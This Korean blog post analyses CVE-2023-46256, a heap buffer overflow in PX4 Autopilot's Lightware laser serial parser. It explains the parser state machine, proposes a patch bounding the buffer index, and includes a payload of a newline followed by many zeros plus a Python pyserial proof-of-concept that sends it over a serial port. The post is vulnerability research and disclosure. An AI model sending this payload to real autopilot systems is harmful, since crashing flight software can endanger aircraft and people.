일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- kernel
- 어셈블리어
- pwncollege
- 리버싱
- C언어
- wargame
- px4
- Leviathan
- 워게임
- Bandit
- write up
- 프로그래밍
- 드론
- 커널
- 시스템 프로그래밍
- 컴퓨터구조
- pwn.college
- 시스템
- C++
- 시스템프로그래밍
- 리눅스 커널
- 시스템해킹
- css
- 리눅스
- 시그널
- Pwnable.kr
- 취약점
- 리눅스커널
- radare2
- 알고리즘
- Today
- Total
Computer Security
CVE-2023-46256 본문
CVE-2023-46256의 내용은 해당 취약점 리포트를 참고하여 작성하였다.
https://github.com/PX4/PX4-Autopilot/security/advisories/GHSA-5hvv-q2r5-rppw
[REPORT] Heap Buffer Overflow Bug Found in src/drivers/distance_sensor/lightware_laser_serial/parser.cpp
### Summary We identified a heap buffer overflow vulnerability in the parser function due to the absence of `parserbuf_index` value checking. Target code: [src/drivers/distance_sensor/lightware_l...
github.com
취약 버전: PX4 1.14.0 이하
요약
1.lightware_laser_serial 드라이버 활성화
2.readbuf에서 사용되는 버퍼에 임의로 입력. lightware_laser_serial::collect
3.lightware_parser 데이터를 구문 분석할 때 해당 함수에서 힙 버퍼 오버플로우 취약점 발생
아래의 데이터를 보내면 취약점 발생 가능.
payload = b'\n00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000' |
세부 사항
1. src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175 해당 파일에서 아래의 코드를 찾았다.
PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp at main · PX4/PX4-Autopilot
PX4 Autopilot Software. Contribute to PX4/PX4-Autopilot development by creating an account on GitHub.
github.com
int ret = ::read(_fd, &readbuf[0], readlen);
2. src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222 파일에 있는 lightware_parser 에서 읽은 데이터를 구문 분석하는 함수를 호출한다.
if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {
- readbuf: 10바이트 크기의 버퍼
- _linebuf: LightwareLaserSerial 객체의 10바이트 크기 버퍼
- _linebuf_index: LightwareLaserSerial 객체의 sizeof(unsigned)인덱스 크기가 조정되었다._linebuf
- _parse_state: 상태 정보 (초기값: LW_PARSE_STATE0_UNSYNC)
- distance_m: 거리값
3. lightware_parser 함수에서 'LW_PARSE_STATE2_GOT_DIGIT0' 상태가 반복적으로 발생할 수 있는 경우가 있으며, 이는 힙 버퍼 오버플로우 취약점이 발생할 수 있다.
lightware_parser 는 주어진 문자 ('char c')를 파싱하고, 파싱된 결과를 parserbuf에 저장한다. 이 함수는 여러 state를 통해 동작하며, 각 state는 주어진 문자를 기반으로 다음 상태로 전환한다.
- State 0 : LW_PARSE_STATE0_UNSYNC
\n 문자가 들어오면 LW_PARSE_STATE1_SYNC 상태로 전환하고, parserbuf_index를 0으로 초기화 한다.
case LW_PARSE_STATE0_UNSYNC:
if (c == '\n') {
*state = LW_PARSE_STATE1_SYNC;
(*parserbuf_index) = 0;
}
break;
- State 1 : LW_PARSE_STATE1_SYNC
숫자(0-9)가 들어오면 LW_PARSE_STATE2_GOT_DIGIT0 상태로 전환하고, 문자를 parserbuf에 저장한다. 또한, parserbuf_index를 증가시킨다.
case LW_PARSE_STATE1_SYNC:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
break;
- State 2 : LW_PARSE_STATE2_GOT_DIGIT0
숫자가 들어오면 다시 LW_PARSE_STATE2_GOT_DIGIT0 상태를 유지하면서, 문자를 parsebuf에 저장하고 parserbuf_index를 증가시킨다. 만약 문자가 점(.)이라면 LW_PARSE_STATE3_GOT_DOT 상태로 전환한다. 그 외 문자가 들어오면 LW_PARSE_STATE0_UNSYNC 상태로 전환한다.
case LW_PARSE_STATE2_GOT_DIGIT0:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else if (c == '.') {
*state = LW_PARSE_STATE3_GOT_DOT;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else {
*state = LW_PARSE_STATE0_UNSYNC;
}
break;
취약점 분석
LW_PARSE_STATE2_GOT_DIGIT0 상태에서는 숫자가 계속 들어올 경우 해당 상태를 유지하면서 parserbuf에 숫자를 계속 저장한다. 이때 parserbuf_index는 계속 증가하게 되는데, 여기서 parserbuf_index의 값이 최대 버퍼 크기를 초과할 수 있다. 이 경우 parserbuf 배열의 범위를 벗어나 메모리에 데이터를 쓰게 되어 힙 버퍼 오버플로우가 발생할 수 있다.
POC
import serial
import time
ser = serial.Serial('/dev/pts/4')
if ser.isOpen():
print('Connection success')
else:
print('Connection failed')
exit()
payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
try:
ser.write(payload)
print(f'Sent: {payload}')
except Exception as e:
print(f'Error: {e}')
finally:
ser.close()
print('Connection closed')
페이로드가 \n 문자로 시작하고 이후 많은 수의 숫자 0이 이어지므로, 이는 lightware_parser 함수에서 LW_PARSE_STATE2_GOT_DIGIT0 상태가 반복되게 하여 parserbuf_index가 계속 증가하게 한다.
만약 parserbuf_index가 충분히 큰 값으로 증가하게 되면, parserbuf 배열의 경계를 넘어서는 메모리 영역에 데이터를 쓰게 되어 힙 버퍼 오버플로우가 발생할 수 있다.
추천 패치 방안
case LW_PARSE_STATE2_GOT_DIGIT0:
if (c >= '0' && c <= '9') {
if (*parserbuf_index > 6) { // patch
*state = LW_PARSE_STATE0_UNSYNC;
} else {
*state = LW_PARSE_STATE2_GOT_DIGIT0;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
} else if (c == '.') {
*state = LW_PARSE_STATE3_GOT_DOT;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else {
*state = LW_PARSE_STATE0_UNSYNC;
}
break;
parserbuf_index 검사 추가
기존 코드에서는 이러한 검사가 없기 때문에 parserbuf_index가 무한히 증가 할 수 있었다. 패치에서는 if(*parserbuf_index > 6 ) 조건문을추가하여 parserbuf_index가 6을 초과하는지 확인한다.
'프로그래밍 > Drone' 카테고리의 다른 글
CVE-2024-24254 (0) | 2024.08.03 |
---|---|
CVE-2023-47625 (0) | 2024.08.02 |
CVE-2021-46896 (0) | 2024.07.31 |
CVE-2021-34125 (0) | 2024.07.30 |